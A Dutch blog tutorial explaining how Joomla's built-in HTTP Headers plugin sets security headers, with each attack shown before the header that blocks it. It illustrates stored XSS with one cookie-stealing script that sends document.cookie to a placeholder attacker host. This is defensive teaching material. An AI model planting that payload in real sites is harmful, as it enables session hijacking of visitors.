Terug naar hoofdinhoud
HTTP Headers in Joomla

HTTP Headers in Joomla

28 april 2026

Elke moderne website communiceert met de browser via een stil, onzichtbaar kanaal dat HTTP-headers heet. De meeste bezoekers zien ze nooit, maar de browser leest ze zorgvuldig en past zijn gedrag aan op basis van wat hij vindt.

Een goed geconfigureerde set headers kan complete aanvalstypen blokkeren, zoals clickjacking, cross-site scripting, SSL-stripping en meer, zonder één regel websitecode te wijzigen.

Sinds Joomla 4 wordt het CMS geleverd met een ingebouwde plugin System - HTTP Headers. Hiermee kunnen beheerders moderne security headers instellen via een eenvoudig formulier in de backend, zonder .htaccess of webserverconfiguratie te hoeven aanpassen.

Hoe de Joomla HTTP Headers-plug-in jouw website beschermt

Dit artikel legt uit hoe HTTP-headers werken, welke beveiligingsproblemen ze oplossen, wat de Joomla-plugin wel en niet kan, en hoe je die in de praktijk gebruikt. Het doel is om je Joomla-website een van de veiligere plekken op het open web te maken.

1. De basis

1.1 Wat is een HTTP-header?

Elke keer dat een browser een pagina opvraagt bij een webserver, gaan er twee korte stukjes metadata heen en weer:

  • de request headers die de browser verstuurt
  • de response headers die de server terugstuurt

Headers zijn eenvoudige key-valueparen die boven de daadwerkelijke HTML staan. De gebruiker ziet ze nooit, maar de browser gebruikt ze om te bepalen hoe de pagina moet worden behandeld.

1.2 Een eenvoudig voorbeeld

Wanneer je een pagina opent, ziet de response van de server er ongeveer zo uit:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Server: Apache

De eerste regel is de status. De regels daaronder zijn response headers. De meeste beveiligingsmechanismen op het moderne web zitten precies in deze regels.

1.3 De headerfamilies

Niet elke header gaat over beveiliging. HTTP-headers vallen grofweg in zes categorieën:

CategorieVoorbeeldenDoel
HTTP-status 200 OK, 404 Not Found Resultaat van de request
Algemeen Date, Cache-Control Metadata voor beide kanten
Request User-Agent, Cookie Wat de browser verstuurt
Response Server, Content-Type Wat de server terugstuurt
Entity Content-Encoding, Last-Modified Informatie over de body
Security Content-Security-Policy, Strict-Transport-Security De focus van dit artikel

Dit artikel focust op de laatste rij: security headers.

2. Waarom HTTP-headers belangrijk zijn voor beveiliging

2.1 De browser is de laatste verdedigingslinie

Zelfs een perfect geprogrammeerde website kan via de browser worden aangevallen. Enkele veelvoorkomende voorbeelden:

  • Een gestolen cookie die wordt gebruikt om een sessie over te nemen.
  • Een iframe dat je site binnen een nepwebsite toont.
  • Een geïnjecteerd script dat formuliergegevens steelt.
  • Een man-in-the-middle-aanvaller die HTTPS terugbrengt naar HTTP.

2.2 Wat security headers doen

Response headers laten de server dingen tegen de browser zeggen zoals:

  • "Laad mij nooit meer via gewone HTTP."
  • "Sta niet toe dat andere sites mij embedden."
  • "Voer alleen scripts uit vanaf deze vertrouwde bronnen."
  • "Lek de verwijzende URL niet naar derden."

Een verkeerd geconfigureerde header is een gratis kwetsbaarheid. Een goed geconfigureerde header is gratis defence-in-depth. Dat is de eenvoudige belofte van dit onderwerp.

3. Waar kun je HTTP-headers instellen?

Er zijn vijf plekken in een typische Joomla-stack waar een response header kan worden toegevoegd. Ze bereiken allemaal de browser, maar de juiste plek kiezen is belangrijk voor duidelijkheid en onderhoud.

3.1 Webserverconfiguratie, Apache of NGINX

add_header X-Frame-Options "SAMEORIGIN" always;

3.2 Het .htaccess-bestand

Header set X-Frame-Options "SAMEORIGIN"

3.3 PHP-code

header('X-Frame-Options: SAMEORIGIN');

3.4 HTML-metatag, alleen CSP

<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self' https://example.com">

Belangrijk: de meeste security headers kunnen niet vanuit een <meta>-tag worden ingesteld. Alleen Content-Security-Policy kan dat. Voor al het andere heb je serverconfiguratie, PHP of de Joomla-plugin nodig.

3.5 De Joomla HTTP Headers-plugin

De plugin is een GUI in de Joomla-administrator. Geen bestanden bewerken, geen servertoegang nodig. Dit maakt Joomla onderscheidend ten opzichte van veel andere CMS-platformen.

4. Maak kennis met de Joomla HTTP Headers-plugin

4.1 Wat het is

De plugin is een System plugin die sinds versie 4.0 standaard in Joomla core zit. De belangrijkste details:

  • Naam: plg_system_httpheaders
  • Locatie: plugins/system/httpheaders
  • Auteur: the Joomla! Project
  • Standaard ingeschakeld sinds Joomla 4.0

4.2 Hoe het werkt

De plugin haakt in op het event onAfterInitialise en stelt de geconfigureerde response headers in voordat Joomla output verstuurt. Je beheert alles via:

System → Manage → Plugins → System - HTTP Headers

4.3 De drie configuratietabs

Het pluginformulier is georganiseerd in drie tabs:

  1. Basic, de dagelijkse headers die de meeste sites nodig hebben.
  2. Strict-Transport-Security (HSTS), HTTPS afdwingen.
  3. Content-Security-Policy (CSP), het zware geschut.

4.4 Headers die de plugin kan instellen

  • X-Frame-Options
  • Referrer-Policy
  • Cross-Origin-Opener-Policy
  • Strict-Transport-Security
  • Content-Security-Policy
  • Content-Security-Policy-Report-Only
  • Permissions-Policy
  • Feature-Policy
  • Expect-CT
  • Report-To
  • NEL

4.5 Headers die de plugin NIET instelt

De plugin is uitstekend, maar niet compleet. Deze headers vereisen nog steeds serverconfiguratie of een andere Joomla-instelling:

  • X-Content-Type-Options, MIME-sniffingbescherming, zie sectie 5.4.
  • Access-Control-Allow-Origin, CORS, afgehandeld in Global Configuration, zie sectie 5.6.
  • Cache-Control
  • Cookieflags zoals Secure, HttpOnly en SameSite.

Weten wat de plugin niet afdekt is net zo belangrijk als weten wat hij wel doet.

5. De security headers, één voor één

Elke security header lost een specifiek probleem op. De voorbeelden hieronder tonen eerst de aanval en daarna de header die die aanval blokkeert.

5.1 X-Frame-Options, clickjacking

De aanval: Een aanvaller laadt je site in een iframe op evil.example.com en tekent er een onzichtbare knoplaag bovenop. De bezoeker denkt op jouw "Like"-knop te klikken, maar klikt in werkelijkheid op de knop "Transfer money" van de aanvaller op jouw site. Dit heet clickjacking of UI redressing.

De oplossing: Vertel de browser dat andere sites jou niet mogen embedden.

X-Frame-Options: SAMEORIGIN

Mogelijke waarden:

  • DENY, nooit embedded.
  • SAMEORIGIN, alleen je eigen pagina’s mogen je embedden, de Joomla-standaard.

5.2 Referrer-Policy, informatielek

De aanval: Een bezoeker op https://your-site/account/order/12345 klikt op een link naar een partnersite. De browser vertelt de partnersite: "deze bezoeker kwam van /account/order/12345". De URL zelf kan order-ID’s, zoektermen of tokens lekken.

De oplossing: Vertel de browser hoeveel referrer-informatie hij mag delen.

Referrer-Policy: strict-origin-when-cross-origin

Veelvoorkomende waarden:

  • no-referrer, deel niets.
  • same-origin, deel de volledige URL binnen de site, niets met buitenstaanders.
  • strict-origin, deel alleen https://your-site/ zonder pad.
  • strict-origin-when-cross-origin, volledige URL intern, alleen origin extern, Joomla-standaard.
  • no-referrer-when-downgrade, deel tenzij je van HTTPS naar HTTP gaat.

De standaard is al privacyvriendelijk. Maak hem alleen ruimer wanneer een analyticsprovider duidelijk meer nodig heeft.

5.3 Cross-Origin-Opener-Policy / COOP, tab-isolatie

De aanval: Een bezoeker opent je site in tab 1 en evil.example.com in tab 2. De kwaadaardige site roept window.opener aan en probeert tab 1 te lezen of te manipuleren. Side-channelaanvallen zoals Spectre kunnen data tussen tabs lekken.

De oplossing: Isoleer je tab van elke cross-origin opener.

Cross-Origin-Opener-Policy: same-origin

Waarden:

  • same-origin, volledige isolatie, Joomla-standaard.
  • same-origin-allow-popups, isoleren, maar pop-ups die je zelf opent normaal laten werken.
  • unsafe-none, geen isolatie.

COOP is zo’n header waar bijna niemand over praat, terwijl hij standaard in Joomla aan staat en stilletjes een hele klasse cross-tabaanvallen uitschakelt.

5.4 X-Content-Type-Options, MIME-sniffing

De aanval: Een bezoeker uploadt avatar.png, maar het bestand is eigenlijk JavaScript met een neppe .png-extensie. Een andere bezoeker opent een pagina die linkt naar /avatar.png. De browser snuffelt aan de inhoud, besluit dat het op JavaScript lijkt en voert het uit. De aanvaller heeft nu stored XSS.

De oplossing: Vertel de browser dat hij de Content-Type-header moet vertrouwen en nooit mag raden.

X-Content-Type-Options: nosniff

Er is maar één geldige waarde: nosniff.

De Joomla-plugin stelt deze header niet in. Je moet hem zelf instellen in .htaccess:

Header always set X-Content-Type-Options "nosniff"

Of in NGINX:

add_header X-Content-Type-Options "nosniff" always;

Dit is de eenvoudigste en goedkoopste security header. Vergeet hem niet.

5.5 Permissions-Policy, browserfuncties

De aanval: Je pagina embedt een iframe van een derde partij. Het iframe toont een prompt "allow camera?". De bezoeker denkt dat de prompt van jou komt en klikt op Allow. De derde partij heeft nu cameratoegang op jouw domein.

De oplossing: Declareer welke browserfuncties zijn toegestaan en welke iframes ze mogen gebruiken.

Permissions-Policy:
  camera=(),
  microphone=(),
  geolocation=(self),
  payment=(self "https://checkout.example.com"),
  usb=(),
  accelerometer=()

Veelvoorkomende functies zijn camera, microphone, geolocation, payment, usb, fullscreen, accelerometer, gyroscope, magnetometer en autoplay.

Je kunt deze header toevoegen in de plugin onder Basic → Additional HTTP Headers. Kies Permissions-Policy, plak de waarde en selecteer Site, Administrator of Both.

Tip: Permissions-Policy is de moderne vervanger van de oudere Feature-Policy. Zet alles wat je niet gebruikt op lege ().

5.6 Cross-Origin Resource Sharing, CORS

De aanval: Een geregistreerde bezoeker is ingelogd op je site. Zonder uit te loggen bezoekt hij evil.example.com. De kwaadaardige site draait een script dat fetch('https://your-site/api/...') aanroept. De browser verstuurt de call met de sessiecookie van de gebruiker. Zonder CORS-regels antwoordt je API vrolijk.

De oplossing: De browser handhaaft standaard het same-origin policy. Met CORS kun je die zorgvuldig versoepelen, per naam, wanneer je daar een legitieme reden voor hebt, bijvoorbeeld een JavaScript single-page app op een ander domein.

CORS is niet de taak van de HTTP Headers-plugin. Joomla heeft hiervoor een aparte schakelaar:

System → Global Configuration → Server tab → Web Services → Enable CORS = Yes

Dit voegt de response header Access-Control-Allow-Origin toe aan Web Service- en API-endpoints.

Laat CORS UIT, tenzij je echt een cross-origin JavaScript-client hebt. Het inschakelen zonder origins te beperken maakt je API wereldleesbaar.

5.7 Strict-Transport-Security, HSTS

De aanval: Je site wordt normaal via HTTPS aangeboden. Op een dag wordt hij door een misconfiguratie kort via HTTP geserveerd. Een aanvaller op openbare wifi voert een SSL-stripping man-in-the-middle-aanval uit. De bezoeker verstuurt een loginformulier onversleuteld en inloggegevens lekken.

De oplossing: Vertel de browser dat hij je altijd via HTTPS moet laden, zelfs als de gebruiker http:// typt.

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Opties:

  • max-age=31536000, onthoud dit één jaar, Joomla-standaard.
  • includeSubDomains, pas dit ook toe op elk subdomein.
  • preload, vraag opname aan in de ingebouwde HSTS-lijst van browsers.

De browser bewaart het domein in zijn HSTS-cache. De volgende keer dat iemand http://your-site/ typt, herschrijft de browser de URL intern naar https://your-site/ voordat de request het apparaat verlaat.

Waarschuwing: HSTS blijft plakken. Als je preload inschakelt en je SSL-certificaat kwijtraakt, worden bezoekers maandenlang buitengesloten. Test altijd eerst met een korte max-age, bijvoorbeeld 300 seconden.

6. Content-Security-Policy, CSP, grondig bekeken

6.1 De aanval die CSP stopt

Je site draait een oude third-party comments-extensie met een stored-XSS-bug. Een kwaadwillende bezoeker plaatst een reactie met:

<script>fetch('//attacker.com?c='+document.cookie)</script>

Elke bezoeker die de reactie leest, voert het script van de aanvaller uit. Hun cookies, inclusief sessie, worden gestolen.

6.2 Wat CSP doet

CSP vertelt de browser exact van welke bronnen scripts, styles, fonts, afbeeldingen en iframes mogen worden geladen. Al het andere wordt geblokkeerd.

Content-Security-Policy:
  default-src 'self';
  script-src  'self' https://stats.example.com/matomo.js;
  style-src   'self' 'unsafe-inline';
  img-src     'self' data: https://i.ytimg.com;
  connect-src 'self' https://stats.example.com;
  frame-src   'self' https://www.youtube.com;
  base-uri    'self';
  form-action 'self';
  frame-ancestors 'self';

6.3 Veelvoorkomende directives

DirectiveWat het regelt
default-src Fallback voor alles hieronder.
script-src, style-src Waar JavaScript en CSS vandaan mogen worden geladen.
img-src, font-src Waar afbeeldingen en fonts vandaan mogen worden geladen.
connect-src Endpoints voor fetch, XHR en WebSockets.
frame-src, frame-ancestors Welke iframes je embedt en welke sites jou mogen embedden.
form-action Waar HTML-formulieren naartoe mogen posten.
upgrade-insecure-requests HTTP automatisch upgraden naar HTTPS op de pagina.

6.4 Enforced versus Report-Only mode

CSP draait in twee modi:

  • Content-Security-Policy, de browser blokkeert overtredingen.
  • Content-Security-Policy-Report-Only, de browser logt overtredingen alleen.

De Joomla-plugin gebruikt standaard Report-Only, en met goede reden. Een strikte CSP op dag één breekt templates, Google Fonts, Maps, YouTube-embeds en waarschijnlijk de knop van je favoriete editor.

6.5 Aanbevolen workflow

  1. Schakel CSP in Report-Only mode in.
  2. Browse door je site en bekijk de browserconsole.
  3. Voeg legitieme bronnen één voor één toe.
  4. Schakel pas over naar enforced mode wanneer de reportlog stil is.

Tip: de Chrome-extensie "Content Security Policy (CSP) Generator" kan automatisch een startbeleid bouwen.

6.6 Nonces, hashes en strict-dynamic

Veel Joomla-templates en extensies geven kleine inline <script>-blokken uit. Een strikte CSP blokkeert die standaard. Er zijn drie manieren om ze veilig toe te staan.

Optie A, nonces. De plugin genereert een willekeurige token per request, en de browser voert alleen inline scripts uit die dezelfde token als nonce-attribuut hebben.

script-src 'nonce-AbC123...' 'self';
<script nonce="AbC123...">
  // trusted inline script
</script>

Schakel dit in met Nonce Enabled in de plugin.

Optie B, hashes. De plugin berekent een SHA-256-hash van elk inline script of elke inline style en plaatst de hash in de header.

script-src 'sha256-AbC123...' 'self';

Toggles: Script Hashes Enabled en Style Hashes Enabled. De placeholders {script-hashes} en {style-hashes} worden tijdens runtime vervangen.

Optie C, strict-dynamic. Vertrouw scripts die worden geladen door een al vertrouwd script. Modern en flexibel, maar genadeloos op legacy-sites.

script-src 'strict-dynamic' 'nonce-AbC123...';

Nonces en hashes zijn het juiste antwoord voor een Joomla-site met veel extensies van derden.

7. Client targeting: Site versus Administrator

7.1 Een unieke functie van de Joomla-plugin

Elke header kan worden ingesteld voor een van drie targets:

  • De front-end, Site.
  • De back-end, Administrator.
  • Beide.

7.2 Waarom dit belangrijk is

Meestal wil je een striktere CSP in de administrator, waar geen user-generated content is, en een lossere CSP op de front-end, waar redacteuren YouTube, Twitter, Matomo en andere embeds plakken.

In de plugin ziet de check er zo uit, vereenvoudigd:

if (!$this->getApplication()->isClient($cspValue->client)
    && $cspValue->client != 'both') {
    continue;
}

Een praktisch voorbeeld: stel frame-src 'none' alleen in voor Administrator, terwijl YouTube-embeds beschikbaar blijven op de front-end.

8. Reporting: NEL en Report-To

8.1 Wat ze doen

Moderne browsers kunnen naar huis bellen wanneer er iets misgaat:

  • NEL (Network Error Logging), rapporteert mislukte requests, DNS-fouten en TLS-handshakefouten.
  • Report-To, declareert endpoints waar de browser NEL- en CSP-violation reports naartoe stuurt.

8.2 Voorbeeld

Report-To: {"group":"default","max_age":10886400,
            "endpoints":[{"url":"https://reports.example.com/r"}]}
NEL: {"report_to":"default","max_age":10886400,"include_subdomains":true}

CSP zonder reporting is roepen in de leegte. Er bestaan gratis reporting backends, bijvoorbeeld report-uri.com.

9. Onder de motorkap, developer view

9.1 Event-driven architecture

De plugin implementeert SubscriberInterface en abonneert zich op twee events:

public static function getSubscribedEvents(): array
{
    return [
        'onAfterInitialise' => 'setHttpHeaders',
        'onAfterRender'     => 'applyHashesToCspRule',
    ];
}

9.2 De lifecycle

  1. Construct, als nonces zijn ingeschakeld, genereer 64 random bytes, encodeer ze met base64 en sla ze op als csp_nonce op de application.
  2. onAfterInitialise, bouw de headerlijst op uit pluginparameters en roep $app->setHeader() aan voor elke header.
  3. onAfterRender, loop door de gerenderde head data, hash elk inline script en elke inline style, en vervang daarna de placeholders {script-hashes} en {style-hashes} in de CSP-header.

Er zijn twee events nodig omdat CSP-hashes pas kunnen worden berekend nadat Joomla de pagina heeft gerenderd. Al het andere kan vroeg worden ingesteld.

9.3 De sourcecode-layout

plugins/system/httpheaders/
├── httpheaders.xml          (manifest + form fields)
├── postinstall/
│   └── introduction.php     (post-install message)
├── services/
│   └── provider.php         (DI service registration)
└── src/
    └── Extension/
        └── Httpheaders.php  (the plugin class)

9.4 De ondersteunde header allow-list

De plugin houdt een hard-coded lijst bij van headers die hij mag instellen:

private $supportedHttpHeaders = [
    'strict-transport-security',
    'content-security-policy',
    'content-security-policy-report-only',
    'x-frame-options',
    'referrer-policy',
    'expect-ct',
    'feature-policy',
    'cross-origin-opener-policy',
    'report-to',
    'permissions-policy',
    'nel',
];

Een administrator kan niet per ongeluk een willekeurige of verkeerd gevormde header injecteren. Het formulier fungeert als vangnet. Let op wat in deze lijst ontbreekt: x-content-type-options. Precies daarom is sectie 5.4 belangrijk.

10. HTTP/2, HTTP/3 en headers

Gelden headers nog steeds bij nieuwere HTTP-versies? Ja. HTTP/2 en HTTP/3 behouden dezelfde headersemantiek. Ze veranderen alleen hoe headers worden getransporteerd.

AspectHTTP/1.1HTTP/2HTTP/3
Headerformaat Platte tekst Binair, HPACK-gecomprimeerd Binair, QPACK-gecomprimeerd
Transport TCP TCP, multiplexed QUIC over UDP
Headerconcept Identiek Identiek Identiek

Alles wat je in de Joomla-plugin configureert, werkt op dezelfde manier in HTTP/1.1, HTTP/2 en HTTP/3.

11. Veelgemaakte fouten en valkuilen

11.1 "Mijn site ging stuk nadat ik CSP inschakelde"

Dit gebeurt vrijwel zeker op een typische Joomla-site. Schakel over naar Report-Only en voeg bronnen één voor één toe totdat de console stil is.

11.2 "Google Fonts, Analytics of Maps werken niet meer"

Voeg de juiste domeinen toe aan je CSP:

style-src  'self' https://fonts.googleapis.com;
font-src   'self' https://fonts.gstatic.com;
script-src 'self' https://www.googletagmanager.com;

11.3 "HSTS heeft mijn staging-site kapotgemaakt"

HSTS wordt per hostname ingesteld. Gebruik een apart subdomein voor staging, of een lage max-age, bijvoorbeeld 300, tijdens het testen.

11.4 "De plugin heeft de header ingesteld, maar de browser negeert hem"

Controleer of je reverse proxy of .htaccess dezelfde header instelt. Degene die als laatste draait wint, en proxies winnen meestal. Verwijder de dubbele header op serverniveau.

11.5 "Ik zie de header twee keer"

Een CDN zoals Cloudflare of een load balancer kan een eigen kopie toevoegen. Inspecteer met curl -I vanaf zowel buiten als binnen het netwerk om de bron te vinden.

In de praktijk komt ongeveer 80% van security-headerincidenten door dubbele of tegenstrijdige headers, niet door de plugin zelf.

12. Je headers controleren

12.1 In de browser

  1. Open de pagina in Google Chrome.
  2. Klik met rechts en kies Inspect.
  3. Open het tabblad Network.
  4. Klik op de HTML document request.
  5. Lees het paneel Response Headers.

12.2 Op de command line

curl -I https://your-site.example

12.3 Online scanners

  • securityheaders.com, snelle score van A tot F.
  • observatory.mozilla.org, diepere score met aanbevelingen.
  • csp-evaluator.withgoogle.com, vindt zwakke CSP-directives.
  • hstspreload.org, aanmelden voor de HSTS preload list.

12.4 Lokale tools

  • OWASP ZAP, volledige security scan, inclusief headerchecks.
  • Chrome-extensie Content Security Policy (CSP) Generator.

13. Een aanbevolen startconfiguratie

13.1 Conservatief profiel, lage kans op breuk

Een veilige set headers om mee te starten op de meeste Joomla-sites:

HeaderWaardeInstellen in
X-Frame-Options SAMEORIGIN Plugin, beide
Referrer-Policy strict-origin-when-cross-origin Plugin, beide
Cross-Origin-Opener-Policy same-origin Plugin, beide
Strict-Transport-Security max-age=31536000; includeSubDomains Plugin, beide, nadat HTTPS stabiel is
Content-Security-Policy start in Report-Only Plugin, site
Permissions-Policy camera=(), microphone=(), geolocation=() Plugin, beide
X-Content-Type-Options nosniff .htaccess, plugin kan dit niet
CORS UIT tenzij nodig Global Configuration → Web Services

13.2 Agressief profiel, na tuning

Wanneer je een week hebt besteed aan het tunen van je CSP, kun je doorgaan naar:

  • CSP enforced met nonces ingeschakeld.
  • frame-ancestors 'self' in CSP.
  • upgrade-insecure-requests in CSP.
  • HSTS preload ingediend bij hstspreload.org.

Lever het conservatieve profiel op dag één aan klanten. Beloof het agressieve profiel pas na een CSP-tuningweek.

14. Best practices en quick reference

Als je maar een paar dingen uit dit artikel onthoudt, onthoud dan deze:

  • Schakel de HTTP Headers-plugin in. Hij zit al in Joomla core.
  • Start CSP in Report-Only mode en tune hem een week lang.
  • Voeg X-Content-Type-Options: nosniff toe in .htaccess. De plugin kan dit niet voor je doen.
  • Houd CORS UIT, tenzij je het echt nodig hebt.
  • Test HSTS met een lage max-age voordat je naar één jaar gaat.
  • Gebruik site-only versus admin-only targeting om redacteuren tevreden te houden.
  • Controleer met curl -I en securityheaders.com.

Cheatsheet

INSCHAKELEN     Extensions → Plugins → System - HTTP Headers
TARGETS         Site / Administrator / Both per header
CLICKJACK       X-Frame-Options: SAMEORIGIN
REFERRER        Referrer-Policy: strict-origin-when-cross-origin
TABVEILIGHEID   Cross-Origin-Opener-Policy: same-origin
HTTPS LOCK      Strict-Transport-Security: max-age=31536000
FUNCTIES        Permissions-Policy: camera=(), microphone=()
XSS-BLOKKER     Content-Security-Policy (start Report-Only)
INLINE JS       Nonce Enabled of Script Hashes Enabled
MIME-GUARD      X-Content-Type-Options: nosniff  (in .htaccess!)
CORS            Global Configuration → Web Services
CONTROLEREN     curl -I  +  securityheaders.com

15. Samenvatting

HTTP-headers zijn het stille gesprek tussen server en browser. Ze beïnvloeden bijna elke beveiligingscontrole op het moderne web:

  • Clickjacking wordt geblokkeerd door X-Frame-Options.
  • URL-lekkage wordt verminderd door Referrer-Policy.
  • Cross-tabaanvallen worden gestopt door COOP.
  • MIME-sniffing XSS wordt voorkomen door X-Content-Type-Options.
  • Kwaadaardige iframe-API’s worden uitgeschakeld door Permissions-Policy.
  • Cross-origin API-misbruik wordt beheerst door CORS.
  • SSL-stripping wordt gestopt door HSTS.
  • Stored en reflected XSS worden ingeperkt door CSP.

De meeste andere CMS-platformen hebben een extra extensie, een betaalde dienst of handmatige .htaccess-aanpassingen nodig om moderne security headers te leveren. Joomla 4, 5 en 6 geven je een UI, veilige defaults, per-client targeting, automatische CSP-nonces en hashes, en dat alles zonder kosten.

Je hoeft geen security engineer te zijn. Schakel de plugin in, voeg nosniff toe in .htaccess, zet CSP op Report-Only, bekijk de log een week lang en geef jezelf een score op securityheaders.com. Joomla beschermt je out of the box. Tune de HTTP Headers-plugin, laat CORS uit tenzij nodig, en je site zit in de top 5% van het open web qua security posture.

Security is geen feature. Het is een gewoonte. De plugin maakt die gewoonte makkelijk.

HTTP Headers in Joomla
Peter Martin

Joomla en Linux specialist voor snelle, veilige en schaalbare websites.

© Peter Martin / db8 Website Support. All rights reserved.